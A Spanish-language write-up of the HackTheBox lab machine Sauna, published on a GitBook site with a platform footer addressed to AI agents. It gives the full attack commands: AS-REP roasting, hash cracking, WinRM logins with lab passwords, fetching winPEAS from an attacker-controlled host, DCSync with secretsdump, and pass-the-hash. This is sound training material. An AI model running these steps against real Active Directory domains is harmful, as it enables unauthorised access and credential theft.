> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md).

# Resolución de HackTheBox Sauna

{% embed url="<https://app.hackthebox.com/machines/229>" %}

{% hint style="warning" %}
**Habilidades**:

* Fuga de información
* Enumeración LDAP
* Enumeración de usuarios de Kerberos - Kerbrute
* Ataque AS-REP Roasting (GetNPUsers)
* Cracking de hashes
* Enumeración del sistema - WinPEAS
* Credenciales de AutoLogon
* BloodHound - SharpHound.ps1
* Ataque DCSync - Secretsdump (Escalada de privilegios)
* Pass-the-Hash
  {% endhint %}

## Reconocimiento <a href="#reconnaissance" id="reconnaissance"></a>

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/15543eaf3595575f1765b953b7ddd270aec9278f" alt=""><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/2f79313ed9ae863cd153060a1eea2ade50ef3810" alt=""><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts
```

<figure><img src="/files/90c9fb746bfee2e0849d69b3e3e2f5fd848aa5d3" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractport:**/ Usando la función extractport para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles.

<figure><img src="/files/1732e0235472d4c066bf554ee14144850fe5bd37" alt=""><figcaption></figcaption></figure>

**Escaneo de versión de puertos con Nmap:**/ Usar Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49675,49676,49677,49736,49802 10.10.10.175 -oN targeted
```

<figure><img src="/files/4c722c692078a1693b7630f125e47566df1bea8a" alt=""><figcaption></figcaption></figure>

## **Enumeración y explotación:**

### **Reconocimiento SMB:**

Uso de CrackMapExec para identificar el sistema operativo

```bash
crackmapexec smb 10.10.10.175
```

<div data-full-width="true"><figure><img src="/files/77fb80e661d8118e302ae3ae319edb802b7b0f2c" alt=""><figcaption></figcaption></figure></div>

Para resolver nombres de dominio a direcciones IP mediante DNS, se inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo.<br>

<figure><img src="/files/5e1660ef2b24500317a7db41d284afd81df32489" alt=""><figcaption></figcaption></figure>

#### Explorando el uso compartido de SMB en la red para identificar recursos compartidos, pero sin resultados.

```bash
crackmapexec smb 10.10.10.175 --shares
```

<figure><img src="/files/ef7c3d8d7e200890571fcbb000421e22d2c67668" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.175 -u 'null'
```

<figure><img src="/files/96546f52d79e43ba566f0679c6a33b280a352116" alt=""><figcaption></figcaption></figure>

```bash
smbclient -L 10.10.10.175 -N
```

<figure><img src="/files/7519722e4779b12c903f6d7b84daf40c436cf59a" alt=""><figcaption></figcaption></figure>

### **Reconocimiento RPC:**

Uso de rpcclient para interactuar con servicios CPP y recopilar información de recursos

```bash
rpcclient -U "" 10.10.10.175 -N
enumdomusers
```

<figure><img src="/files/766863e9984cfb7b5b6d0503bb29f64914d1d750" alt=""><figcaption></figcaption></figure>

### **Reconocimiento LDAP:**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#ldapsearch>" %}

#### Análisis de la información LDAP para detalles sobre la estructura del dominio y los usuarios.

```bash
ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts
```

<figure><img src="/files/c416568bf047c51fd01404d44ed82f0056b0e68c" alt=""><figcaption></figcaption></figure>

**Análisis de la información LDAP**

Análisis de detalles sobre la estructura del dominio y los usuarios.

```bash
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL
```

**Filtrado de usuarios LDAP**

Filtro para obtener solo usuarios LDAP.

```bash
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' | grep "dn: CN=" | sed 's/dn: CN=//;s/,DC=EGOTISTICAL-BANK,DC=LOCAL//'
```

<div data-full-width="true"><figure><img src="/files/e17de5c262bc64ce1a96c51cb942d9c204919c75" alt=""><figcaption></figcaption></figure></div>

### Lista de usuarios:

<figure><img src="/files/22f68d4aabde780381a9900b4580cd941691f30f" alt=""><figcaption></figcaption></figure>

#### Crea un `users.txt` archivo que contiene posibles nombres de usuario.

```
hugosmith
h.smith 
hugo.smith
hsmith

fergussmith
f.smith 
fergus.smith 
fsmith

hugobear
h.bear
hugo.bear
hbear

stevenkerb
s.kerb
steven.kerb
skerb

shauncoins
s.coins
shaun.coins
scoins

bowietaylor
b.taylor
bowie.taylor
btaylor

sophiedriver
s.driver
sophie.driver
sdriver
```

### **Lista de usuarios mediante Kerberos**

Usando `kerbrute` para listar usuarios válidos.

```bash
./kerbrute userenum -d egotistical-bank.local --dc 10.10.10.175 users.txt
```

<figure><img src="/files/0c7e00b3f41646d5c3c3d4bd3205559cee9a50d2" alt=""><figcaption></figcaption></figure>

### **Lista de usuarios mediante Impacket**

Usando `impacket-GetNPUsers` para listar usuarios válidos sin contraseñas.

```bash
impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users.txt
```

<figure><img src="/files/b172af6cc9769468d9dd72d6f205508bf5012329" alt=""><figcaption></figcaption></figure>

### Ataque de fuerza bruta:

Usando John para crackear el hash recuperado.

<pre class="language-bash"><code class="lang-bash"><strong>john --wordlist=/usr/share/wordlists/rockyou.txt hash
</strong></code></pre>

<div data-full-width="true"><figure><img src="/files/a1b815d1d4a097545ed0b460521f55d98819669e" alt=""><figcaption></figcaption></figure></div>

#### Conexión y control remoto

Usando WinRM para conectar de forma remota.

```bash
crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

#### Funciona, pero sin la marca pwned no es posible conectarse a través de WinRM.

<figure><img src="/files/42ebb656cc49718138b9b2ea996c24bd6e050080" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8e617c711935a6f5438e589e34a418cc1caf7892" alt=""><figcaption></figcaption></figure>

En este ejemplo, la conexión es posible porque el usuario fsmith es miembro del grupo /\*Remote Management Users

```bash
crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

<div data-full-width="true"><figure><img src="/files/e40fe2954398ff7d239a1d6f177a6b95162f57a8" alt=""><figcaption></figcaption></figure></div>

#### **Inicio de sesión con Evil-WinRM**

Usando Evil-WinRM para una conexión interactiva mediante WinRM.

```bash
evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

<figure><img src="/files/6a160f18e9bd1d2dae29fa761c2cc045fd939ba4" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios:

#### **Comprobación de privilegios especiales:**

Usando `whoami /priv` para comprobar privilegios especiales.

<figure><img src="/files/3e5441521e8426898a2430c2c566076a3fc17c6f" alt=""><figcaption></figcaption></figure>

#### **Buscar nuevos usuarios**

Usando `net user` para buscar nuevos usuarios.

<figure><img src="/files/a82b1b24c6937d8ac78bdfd17c6c4d733b314016" alt=""><figcaption></figcaption></figure>

**Búsqueda de credenciales para el usuario "svc/ loanmgr"**

### **Reconocimiento con** winPEAS.exe

{% embed url="<https://github.com/carlospolop/PEASS-ng/releases/tag/20220717>" %}

Descargar y ejecutar la herramienta de reconocimiento winPEAS

```bash
Invoke-WebRequest -Uri "http://10.10.14.4:445/winPEASx64.exe" -OutFile "winPEAS.exe"
./winPEAS.exe
```

<div data-full-width="true"><figure><img src="/files/5b71f89bf617d3c3a5cacb08d29b3d067239070e" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/2208dfe647a08b62240238d500ecfdc80286830d" alt=""><figcaption></figcaption></figure>

### Validación de IDs encontrados con crackmapexec:

Se han encontrado credenciales de inicio de sesión automático para el usuario `svc_loanmgr` con la contraseña

<figure><img src="/files/2ca87680f44ae3bd5773166c7dda6a99892fa29c" alt=""><figcaption></figcaption></figure>

#### Usando crackmapexec para validar que la contraseña es correcta.

```bash
crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
```

<div data-full-width="true"><figure><img src="/files/51d21f75c282d78ded584a5516e67abd7dddbf05" alt=""><figcaption></figcaption></figure></div>

### Conexión con IDs "svc/ loanmgr":

```bash
evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
```

<figure><img src="/files/c4e1804c1aeed696e5344b8078a4c0156c1c79dd" alt=""><figcaption></figcaption></figure>

## Listado del dominio con Bloodhound:

<details>

<summary>Instalación de BloodHound:</summary>

```bash
apt install neo4j bloodhound
neo4j console &> /dev/null & disown
lsof -i:7474
```

#### Conexión a Bloodhound con credenciales neo4j:neo4j.

<img src="/files/ec90685785aee7f4522f6d716adec0feb27b344d" alt="" data-size="original">

#### Iniciando BloodHound.

```bash
bloodhound &> /dev/null & disown
```

<img src="/files/e4e0d497a2f91abfffc891b64693768b2106e43d" alt="" data-size="original">

</details>

### Recopilar información con SharpHound.ps1

{% embed url="<https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1>" %}

<figure><img src="/files/1d65fb888bdd59f9be0edcdac44c19e335863cd1" alt=""><figcaption></figcaption></figure>

### Transferencia de los datos recopilados a Linux e importación en Bloodhound

#### Crear un archivo .zip con los resultados de la recopilación.

```bash
Import-Module ./sharhound.ps1
Invoke-BloodHound -CollectionMethod All
```

#### Descargar el archivo zip desde la máquina Windows a Linux.

```powershell
download PS C:/windows/temp/privesc/file.zip file.zip
```

#### Importar archivo zip en Bloodhound.

<figure><img src="/files/68c0fd0f90cbccdf623ef0541226d682ab37d320" alt=""><figcaption></figcaption></figure>

### Análisis y operación:

#### Filtrar para la ruta más corta hacia administración

<figure><img src="/files/e4ff7629c5b86508de559ed5b76e725a156b17ce" alt=""><figcaption></figcaption></figure>

#### La herramienta indica la posibilidad de realizar un ataque DCSync.

<div data-full-width="true"><figure><img src="/files/0d336df721d65973b5381c8a834e4e8093790ba9" alt=""><figcaption></figcaption></figure></div>

## Vulnerabilidad: ataque DCSync:

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync>" %}

#### Usando secretsdump para obtener el hash NT del usuario administrador.

```bash
impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175
```

<figure><img src="/files/c6b92c284793e67f5f243ff64ef9201c337408a6" alt=""><figcaption></figcaption></figure>

#### Usando psexec para ejecutar un cmd como administrador usando el hash NT.

```bash
impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 cmd.exe -hashes :823452073d75b9d1cf70ebdf86c7f98e
```

<figure><img src="/files/7008e771b8f8b7ec4e4237561418618491ea33b9" alt=""><figcaption></figcaption></figure>

### Bandera final :)

<figure><img src="/files/52c1d0258490cf971e0655fcfa8a06a45bc2ff8f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b3f548fd19df4f72b29d1ab42c0ce5e4d02b8fe8" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
